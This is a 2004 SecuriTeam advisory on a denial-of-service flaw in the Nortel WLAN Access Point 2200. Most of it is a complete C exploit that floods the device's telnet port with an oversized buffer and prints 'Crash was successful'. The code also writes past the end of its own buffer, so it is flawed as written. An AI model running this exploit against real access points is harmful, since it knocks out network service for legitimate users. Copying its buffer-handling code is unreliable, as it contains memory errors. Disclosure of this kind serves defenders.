[EXPL] Nortel Networks Wireless LAN Access Point 2200 DoS
From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/04
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To: list@securiteam.com Date: 10 Mar 2004 18:18:39 +0200
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Nortel Networks Wireless LAN Access Point 2200 DoS
------------------------------------------------------------------------
SUMMARY
A vulnerability in the WLAN 2200 Wireless Access Point allows a remote
user to crash the AP via a telnet session, this by sending it an overly
long buffer after the telnet connection is initiated.
DETAILS
Exploit:
/* WLAN-DoS.c
*
* Nortel Networks Wireless LAN Access Point 2200 DoS + PoC
* discovered by Alex Hernandez.
*
* Copyright (C) 2004 Alex Hernandez.
*
* A successful attack on a vulnerable server can cause the AP
* (Access Point) listener to fail and crash. The port 23 (telnet)
* functionality cannot be restored until the listener is manually
restarted.
*
* LAN AP 2200 permits client-server communication across any network.
* LAN enables by default the port 23 (telnet) and port (80) for
administering.
* Debugging features are enabled by default, if LAN AP encounters such a
request,
* it will crash and no longer field AP requests from authorized clients.
*
* Simple lame code by
*
* -Mark Ludwik :Germany
*
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("\nWLAN NortelNetworks AP DoS exploit by Mark Ludwik\n\n");
printf("Usage: WlanDoS [AP/Host] [port]\n\n");
exit(-1);
}
int sock;
char explbuf[2024];
struct sockaddr_in dest;
struct hostent *he;
if((he = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve %s!\n", argv[1]);
exit(-1);
}
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
printf("\nWLAN NortelNetworks AP DoS exploit by Mark Ludwik\n\n");
dest.sin_addr = *((struct in_addr *)he->h_addr);
dest.sin_port = htons(atoi(argv[2]));
dest.sin_family = AF_INET;
printf("[+] Exploit buffer.\n");
memset(explbuf, 'A', 2024);
memcpy(explbuf+2024, "\n\n\n\n\n\n\n\n", 8);
if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) ==
-1) {
perror("connect()");
exit(-1);
}
printf("[+] Connected...\n");
printf("[+] Sending DoS attack...!\n");
send(sock, explbuf, strlen(explbuf), 0);
sleep(2);
close(sock);
printf("\n[+] Crash was successful !\n");
return(0);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:mark-security@hush.com> Mark
Ludwik.
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